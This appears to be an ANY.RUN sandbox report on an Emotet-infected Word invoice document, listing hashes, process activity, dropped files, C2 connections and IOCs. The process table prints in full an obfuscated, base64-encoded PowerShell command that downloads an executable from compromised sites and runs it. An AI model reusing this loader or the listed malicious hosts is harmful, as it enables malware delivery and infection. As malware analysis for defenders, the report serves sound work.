analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Faktur DQZ-000074742941.malware

Full analysis: https://app.any.run/tasks/6ed869de-efe0-4c8e-bf98-54b0ecd4898a
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: September 30, 2020, 05:47:09
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
emotet-doc
emotet
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Et., Author: Anas Chevalier, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Sep 25 23:09:00 2020, Last Saved Time/Date: Fri Sep 25 23:09:00 2020, Number of Pages: 1, Number of Words: 2910, Number of Characters: 16588, Security: 8
MD5:

4DDB5771E6EF5FC9EDB44C758EE594B4

SHA1:

3402CFA0B40DA9EDF4668E00A1B0A24E0EEEEC78

SHA256:

F3F447ADF7F157466B45E74E8046EB455CA64D71AE5B745EB3D75E8C5C97917C

SSDEEP:

3072:P9CHTj83yO2lD1PaVzb90o/Cu7iViT8++vjSXFdzh4H:aTjo8aV9vCUp/XFz4H

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • Klnn57u4.exe (PID: 1992)
      • mshta.exe (PID: 1508)

    • Connects to CnC server

      • mshta.exe (PID: 1508)

  • SUSPICIOUS

    • Executed via WMI

      • POwersheLL.exe (PID: 1740)

    • Creates files in the user directory

      • POwersheLL.exe (PID: 1740)

    • PowerShell script executed

      • POwersheLL.exe (PID: 1740)

    • Executable content was dropped or overwritten

      • Klnn57u4.exe (PID: 1992)
      • POwersheLL.exe (PID: 1740)

    • Reads Internet Cache Settings

      • mshta.exe (PID: 1508)

    • Starts itself from another location

      • Klnn57u4.exe (PID: 1992)

  • INFO

    • Reads settings of System Certificates

      • POwersheLL.exe (PID: 1740)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2208)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2208)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: Et.
Subject: -
Author: Anaïs Chevalier
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2020:09:25 22:09:00
ModifyDate: 2020:09:25 22:09:00
Pages: 1
Words: 2910
Characters: 16588
Security: Locked for annotations
Company: -
Lines: 138
Paragraphs: 38
CharCountWithSpaces: 19460
AppVersion: 15
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CodePage: Unicode UTF-16, little endian
LocaleIndicator: 1033
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
4
Malicious processes
0
Suspicious processes
2

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe klnn57u4.exe mshta.exe

Process information

PID
CMD
Path
Indicators
Parent process
2208"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Faktur DQZ-000074742941.malware.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
1740POwersheLL -ENCOD JABaAG0AbwBpADcAMQB5AD0AKAAoACcAVwAnACsAJwBuAGIAawA1ACcAKQArACcAYwAnACsAJwBpACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBzAEUAUgBQAFIATwBmAEkATABlAFwAZQBrADEAQQA1AFIAUABcAGUAbwAwAGcAXwBLAGQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBDAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAUgBJAFQAYABZAFAAcgBgAE8AVABPAGMAbwBMACIAIAA9ACAAKAAoACcAdABsAHMAMQAnACsAJwAyACcAKQArACgAJwAsACAAJwArACcAdAAnACkAKwAnAGwAJwArACcAcwAxACcAKwAoACcAMQAsACAAdAAnACsAJwBsAHMAJwApACkAOwAkAEcAbgAzAGsAOQAxAGsAIAA9ACAAKAAnAEsAJwArACcAbABuACcAKwAoACcAbgA1ACcAKwAnADcAdQA0ACcAKQApADsAJABPAGcAMwBkADgAbQAwAD0AKAAoACcASgBsAHcAJwArACcAbQBiAHMAJwApACsAJwByACcAKQA7ACQARwBmAHoAbgBmAGMAZAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAGwAbwAnACsAJwBKACcAKQArACgAJwBFAGsAJwArACcAMQAnACkAKwAoACcAYQAnACsAJwA1AHIAcABsACcAKQArACcAbwAnACsAKAAnAEoARQBvADAAJwArACcAZwBfAGsAJwApACsAKAAnAGQAbABvACcAKwAnAEoAJwApACkALgAiAHIAYABFAHAATABgAEEAYwBFACIAKAAoAFsAYwBoAGEAUgBdADEAMAA4ACsAWwBjAGgAYQBSAF0AMQAxADEAKwBbAGMAaABhAFIAXQA3ADQAKQAsACcAXAAnACkAKQArACQARwBuADMAawA5ADEAawArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAFcAZgByAHAAZQBrAGUAPQAoACgAJwBLADMAJwArACcAeQA4ACcAKQArACgAJwAyAHYAJwArACcAZQAnACkAKQA7ACQAWQA3ADEAeQBvAHUAZAA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAAbgBlAHQALgB3AGUAQgBjAGwASQBFAE4AVAA7ACQAWQAwAHoAawB5AHYAbQA9ACgAKAAnAGgAdAB0ACcAKwAnAHAAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwBwAG8AJwArACcAbwBtACcAKQArACgAJwBjACcAKwAnAG8AbwAnACkAKwAnAHAAJwArACgAJwAuAGsAJwArACcAcgAnACkAKwAoACcALwB3ACcAKwAnAHAALQBpACcAKwAnAG4AYwBsAHUAZAAnACkAKwAoACcAZQBzAC8AJwArACcAbAA3ACcAKQArACgAJwBEAGEASwAnACsAJwAvACoAJwApACsAKAAnAGgAdAAnACsAJwB0AHAAJwArACcAcwA6AC8AJwApACsAJwAvAGQAJwArACcAaQAnACsAKAAnAHMAJwArACcAYgBhAGkAJwApACsAJwBuACcAKwAoACcALgAnACsAJwBlAHMAJwApACsAJwAvACcAKwAnAHcAcAAnACsAJwAtAGMAJwArACgAJwBvAG4AJwArACcAdAAnACkAKwAnAGUAJwArACgAJwBuACcAKwAnAHQALwAzACcAKQArACgAJwBzAGEAJwArACcAcAAnACsAJwBxAGcANQBTAGUAJwArACcAQQAvACoAaAB0AHQAJwApACsAJwBwADoAJwArACgAJwAvAC8AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBuAGkAbAAnACkAKwAoACcAaQB6AGEAdABlACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAKAAnAC8AJwArACcAZQBuACcAKwAnAGcALwB3AEYAJwApACsAJwAvACcAKwAoACcAKgBoAHQAJwArACcAdABwACcAKQArACcAOgAnACsAKAAnAC8ALwAnACsAJwBtACcAKQArACcAZQBnACcAKwAoACcAYQBzAG8AJwArACcAbAAnACkAKwAoACcAdQBjAG8AZQAnACsAJwBzACcAKQArACcAdAAnACsAJwBpACcAKwAnAC4AYwAnACsAJwBvAG0AJwArACcALwAnACsAJwBSADkAJwArACcASwAnACsAJwBEACcAKwAoACcAcQAnACsAJwAwAE8AOAB3ACcAKQArACcALwAnACsAJwAyACcAKwAnAHQAJwArACgAJwBoAEYAQgAnACsAJwAxACcAKwAnAEkAbwAvACcAKQArACgAJwAqACcAKwAnAGgAdAB0AHAAcwA6ACcAKQArACcALwAvACcAKwAnAGcAdQAnACsAJwB0ACcAKwAoACcAYQAnACsAJwBjAGgAJwApACsAKAAnAHQAZQAnACsAJwByAC0AJwApACsAJwBrACcAKwAnAGEAbgAnACsAJwB6ACcAKwAnAGwAZQAnACsAJwBpAC4AJwArACgAJwBkAGUAJwArACcALwB3AHAALQBhAGQAbQAnACkAKwAnAGkAJwArACcAbgAvACcAKwAnAFkAJwArACgAJwAvACcAKwAnACoAaAB0AHQAcAA6ACcAKwAnAC8ALwAnACkAKwAoACcAZABhAGsAYQByAGIAJwArACcAdQAnACsAJwB6ACcAKQArACcAegAnACsAJwAuACcAKwAoACcAbgBlAHQAJwArACcALwBjAHMAJwArACcAcwAvAGgAJwArACcAcABJACcAKQArACcASgAnACsAKAAnADgAJwArACcAcQAvACcAKQArACgAJwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoALwAvAHAAYQAnACsAJwBjACcAKwAnAGkAZgBpACcAKQArACcAYwBnACcAKwAnAHIAJwArACgAJwBvAHUAJwArACcAcAAnACkAKwAnAC4AdwAnACsAKAAnAHMALwBwACcAKwAnAGEAcgAnACsAJwBhACcAKQArACcAZABpACcAKwAnAHMAJwArACgAJwBlAHMAdQBpAHQAJwArACcAaQBuACcAKwAnAGcALgBjACcAKQArACgAJwBvAG0AJwArACcALwAzAGQAdgAnACkAKwAoACcAcQAnACsAJwBXAC8AJwApACkALgAiAHMAcABsAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUAByAGwAdAA3ADMAMAA9ACgAJwBDACcAKwAoACcAYQBxADIAdwAnACsAJwBpAG0AJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABIAHkAegB1AHkAdAA3ACAAaQBuACAAJABZADAAegBrAHkAdgBtACkAewB0AHIAeQB7ACQAWQA3ADEAeQBvAHUAZAAuACIAZABgAE8AYABXAG4AYABsAE8AYQBkAEYAaQBMAGUAIgAoACQASAB5AHoAdQB5AHQANwAsACAAJABHAGYAegBuAGYAYwBkACkAOwAkAFgAMQAwADEAZABvAHgAPQAoACgAJwBCAHcAJwArACcAMQBmAHkAJwApACsAJwBjACcAKwAnAHQAJwApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEcAZgB6AG4AZgBjAGQAKQAuACIATABgAEUATgBnAFQAaAAiACAALQBnAGUAIAAzADYAMAAyADUAKQAgAHsALgAoACcASQBuAHYAbwAnACsAJwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAoACQARwBmAHoAbgBmAGMAZAApADsAJABVADIAdgBoADkAMwBkAD0AKAAoACcATABtACcAKwAnAGQAJwArACcANgBuAHUAJwApACsAJwBnACcAKQA7AGIAcgBlAGEAawA7ACQAVwBhAGEAdwBvADEAZwA9ACgAKAAnAEEAcgBrACcAKwAnAGMAJwApACsAKAAnADUAbgAnACsAJwBiACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABRAHUANQByADMAeAAwAD0AKAAnAFcAJwArACcAdAB4ACcAKwAoACcAYwB1AHAAJwArACcAegAnACkAKQA= C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1992"C:\Users\admin\Ek1a5rp\Eo0g_kd\Klnn57u4.exe" C:\Users\admin\Ek1a5rp\Eo0g_kd\Klnn57u4.exe
POwersheLL.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
1508"C:\Users\admin\AppData\Local\ctl3dv2\mshta.exe"C:\Users\admin\AppData\Local\ctl3dv2\mshta.exe
Klnn57u4.exe
User:
admin
Integrity Level:
MEDIUM
Description:
twaintest MFC Application
Version:
1, 0, 0, 1
Total events
2 365
Read events
1 470
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
0
Unknown types
3

Dropped files

PID
Process
Filename
Type
2208WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR763A.tmp.cvr —
MD5:—
SHA256:—
1740POwersheLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\E033PX1OU4ZRG7QTFVDN.temp —
MD5:—
SHA256:—
1740POwersheLL.exeC:\Users\admin\Ek1a5rp\Eo0g_kd\Klnn57u4.exeexecutable
MD5:D2462A2428F27FDDE348D027A3DDF5CD
SHA256:22830F02750F58606AF776016F46BF02034632479A09653E3DD81947B9675F13
2208WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:2698B958365DF614DA214987B7DA5E86
SHA256:6BF897D0EE80915353D4E19D2C9CBF153AEEBE8A7F945F46500699EE136A5D24
1740POwersheLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF3b8211.TMPbinary
MD5:4028388263805ABA00088A0BA4EEA515
SHA256:5A67495439D515C063CD1732C649C5ADA72E7C0056CA8B6CD70A49F80643B948
1740POwersheLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:4028388263805ABA00088A0BA4EEA515
SHA256:5A67495439D515C063CD1732C649C5ADA72E7C0056CA8B6CD70A49F80643B948
2208WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$ktur DQZ-000074742941.malware.docpgc
MD5:D4F7B806CBD5DAFE017F79510B9CFB58
SHA256:43C9950A8A3E87518E1405E36B6E95630C9021887EEC99EC0CF7AFF75F2DBC48
2208WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:E7CF7C7D76EB8601C18DE984E4219EA9
SHA256:8AE03A59DE4E64FF9104761BB71D595044097E560A73B67C07E4ED4986162AB8
1992Klnn57u4.exeC:\Users\admin\AppData\Local\ctl3dv2\mshta.exeexecutable
MD5:D2462A2428F27FDDE348D027A3DDF5CD
SHA256:22830F02750F58606AF776016F46BF02034632479A09653E3DD81947B9675F13
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
3
DNS requests
4
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1508
mshta.exe
POST
—
49.243.9.118:80
http://49.243.9.118/hoOo8CLIvkoFh/qd44ralQw1GZM/ap8tWtu/y7VP/K188Yv5CkqkduVfvT/MbgmJ817d8AWF2ZMlL/
JP
—
—
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1508
mshta.exe
49.243.9.118:80
—
FreeBit Co.,Ltd.
JP
malicious
1740
POwersheLL.exe
1.234.83.74:80
poomcoop.kr
SK Broadband Co Ltd
KR
suspicious
1740
POwersheLL.exe
31.24.154.152:443
disbain.es
Infortelecom Hosting S.L.
ES
unknown

DNS requests

Domain
IP
Reputation
poomcoop.kr
  • 1.234.83.74
suspicious
dns.msftncsi.com
  • 131.107.255.255
shared
disbain.es
  • 31.24.154.152
unknown

Threats

PID
Process
Class
Message
1508
mshta.exe
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 18
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
Faktur DQZ-000074742941.malware